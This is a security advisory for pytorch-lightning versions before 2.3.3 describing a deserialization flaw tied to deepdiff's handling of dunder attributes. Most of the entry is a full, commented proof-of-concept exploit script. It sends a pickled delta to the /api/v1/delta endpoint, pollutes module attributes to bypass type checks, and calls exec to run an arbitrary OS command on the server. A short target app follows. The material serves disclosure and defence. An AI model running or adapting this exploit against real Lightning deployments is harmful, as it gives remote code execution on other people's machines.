Improper Restriction of Operations within the Bounds of a Memory Buffer Affecting pytorch-lightning package, versions [0,2.3.3)

pytorch-lightning is a lightweight PyTorch wrapper for ML researchers. Scale your models. Write less boilerplate.

Affected versions of this package are vulnerable to Improper Restriction of Operations within the Bounds of a Memory Buffer due to improper handling of deserialized user input and mismanagement of dunder attributes by the deepdiff library. An attacker can execute arbitrary code and manipulate application state by constructing a serialized delta that includes dunder attributes.

import requests, time, pickle, pickletools
from collections import namedtuple
from ordered_set import OrderedSet

# The root cause of this vulnerability is allowing pickled data to be sent to the `api/v1/delta endpoint`
# `deepdiff` also does not sanitize dunder paths properly, allowing for escalation to RCE via attribute pollution

# Monkey patch OrderedSet reduce to make it easier to pickle
OrderedSet.__reduce__ = lambda self, *args: (OrderedSet, ())

# Helper class to construct getitem and getattr paths easier
# Also implements the bypass for `deepdiff` not allowing access to dunder attributes (adds quotes via `repr`)
class Root:
    def __init__(self, path=None):
        self.path = path or []

    def __getitem__(self, item):
        return self.__class__(self.path + [('GET', repr(item))])

    def __getattr__(self, attr):
        return self.__class__(self.path + [('GETATTR', repr(attr) if attr.startswith('__') else attr)])
    
    def __str__(self):
        return ''.join(
            ['root'] + \
            [
                f'.{item}' 
                if typ == 'GETATTR' else 
                f'[{item}]' 
                for typ, item in self.path
            ]
        )

    def __reduce__(self, *args):
        return str, (str(self),)

server_host = 'http://127.0.0.1:7501'
server_host = input(f'LightingApp Root URL [{server_host}]: ') or server_host
command = input('Enter Command [id]: ') or 'id'

def send_delta(d):
    # this posts a delta to the remote host
    # there is insufficent type checking on this endpoint to ensure serialized data is not sent accross
    requests.post(server_host + '/api/v1/delta', headers={
        'x-lightning-type': '1',
        'x-lightning-session-uuid': '1',
        'x-lightning-session-id': '1'
    }, json={"delta": d})

# this code is injected and ran on the remote host
injected_code = f"__import__('os').system({command!r})" + '''
import lightning, sys
from lightning.app.api.request_types import _DeltaRequest, _APIRequest
lightning.app.core.app._DeltaRequest = _DeltaRequest
from lightning.app.structures.dict import Dict
lightning.app.structures.Dict = Dict
from lightning.app.core.flow import LightningFlow
lightning.app.core.LightningFlow = LightningFlow
LightningFlow._INTERNAL_STATE_VARS = {"_paths", "_layout"}
lightning.app.utilities.commands.base._APIRequest = _APIRequest
del sys.modules['lightning.app.utilities.types']'''

root = Root()

# This is why we add `namedtuple` to the root scope, it provides easy access to the `sys` module
sys = root['function'].__globals__['_sys']
bypass_isinstance = OrderedSet

delta = {
    'attribute_added': {
        # We use namedtuple to access modules (specifically sys) via its `__globals__`
        root['function']: namedtuple,

        # We need use to manipulate isinstance checks
        root['bypass_isinstance']: bypass_isinstance,
        
        # Setting `str` to `__instancecheck__` allows all isinstance calls on OrderedSet instances to return Truthy
        root['bypass_isinstance'].__instancecheck__: str,

        # We need our _DeltaRequest to be sent to the api request code path, so we change the imported type
        # This causes the isinstance check to always fail
        # affects: lightningapp/app/core/app.py:362
        sys.modules['lightning.app'].core.app._DeltaRequest: str,

        # We need to use get_component_by_name as a gadget to lookup our exec function, so we patch this to allow it to traverse normal dictionaries
        # We also patch LightningFlow to bypass the ComponentTuple isinstance check
        # We also patch out ComponentTuple incase it has already been imported
        # affects: lightningapp/app/core/app.py:208-214
        sys.modules['lightning.app'].structures.Dict: dict,
        # Union needs to be stubbed out or it will complain about LightningFlow not being a type
        sys.modules['typing'].Union: list,
        sys.modules['lightning.app'].core.LightningFlow: bypass_isinstance(),
        sys.modules['lightning.app'].utilities.types.ComponentTuple: bypass_isinstance(),

        # We empty this variable to disable writes to internal state variables
        # They will now cause unhandled exceptions due to LightningDict being `<class 'dict'>`
        # affects: lightningapp/app/core/flow.py:325
        sys.modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS: (),

        # We need all isinstance checks against this type to succeed to place our payload in the vulnerable code path
        # affects: lightningapp/app/utilities/commands/base.py:262
        sys.modules['lightning.app'].utilities.commands.base._APIRequest: bypass_isinstance(),

        # At this point, we set `name`, `method_name`, `args`, and `kwargs` on _DeltaRequest
        # This allows us to lookup and call any object with controlled args and kwargs
        # We can do this because our previous patches allow for the following:
        # All _DeltaRequest deltas are now sent to the `_process_requests` function
        # They are handled as _APIRequest objects and passed into `_process_api_request`
        # This function first looks up a component via `root.get_component_by_name(request.name)`
        # Due to our previous attribute modifications, this function now allows us to look up arbitrary objects
        # It then looks up a method on the returned object (`getattr(flow, request.method_name)`)
        # To end the chain, the method is called with the `args` and `kwargs` properties from the the `request` argument

        # exec function lookup path
        sys.modules['lightning.app'].api.request_types._DeltaRequest.name: "root.__init__.__builtins__.exec",

        # method name
        sys.modules['lightning.app'].api.request_types._DeltaRequest.method_name: "__call__",

        # args
        sys.modules['lightning.app'].api.request_types._DeltaRequest.args: (injected_code,),

        # kwargs
        sys.modules['lightning.app'].api.request_types._DeltaRequest.kwargs: {},

        # We set `id` to avoid crashing after payload
        sys.modules['lightning.app'].api.request_types._DeltaRequest.id: "root"
    }
}

# Some replaces to remove some odd quirks of pickle proto 1 
# We keep proto 1 because it keeps our message utf-8 encodeable
payload = pickletools.optimize(pickle.dumps(delta, 1)).decode() \
    .replace('__builtin__', 'builtins') \
    .replace('unicode', 'str')

# Sends the payload and does all of our attribute pollution
send_delta(payload)

# Small delay to ensure payload was processed
time.sleep(0.2)
send_delta({}) # Code path triggers when this delta is recieved

app.py (lightning run app app.py)

from lightning.app import LightningFlow, LightningApp

class SimpleFlow(LightningFlow):
    def run(self):
        pass
app = LightningApp(SimpleFlow())

• GitHub Commit
• Vulnerable Code
• Vulnerable Code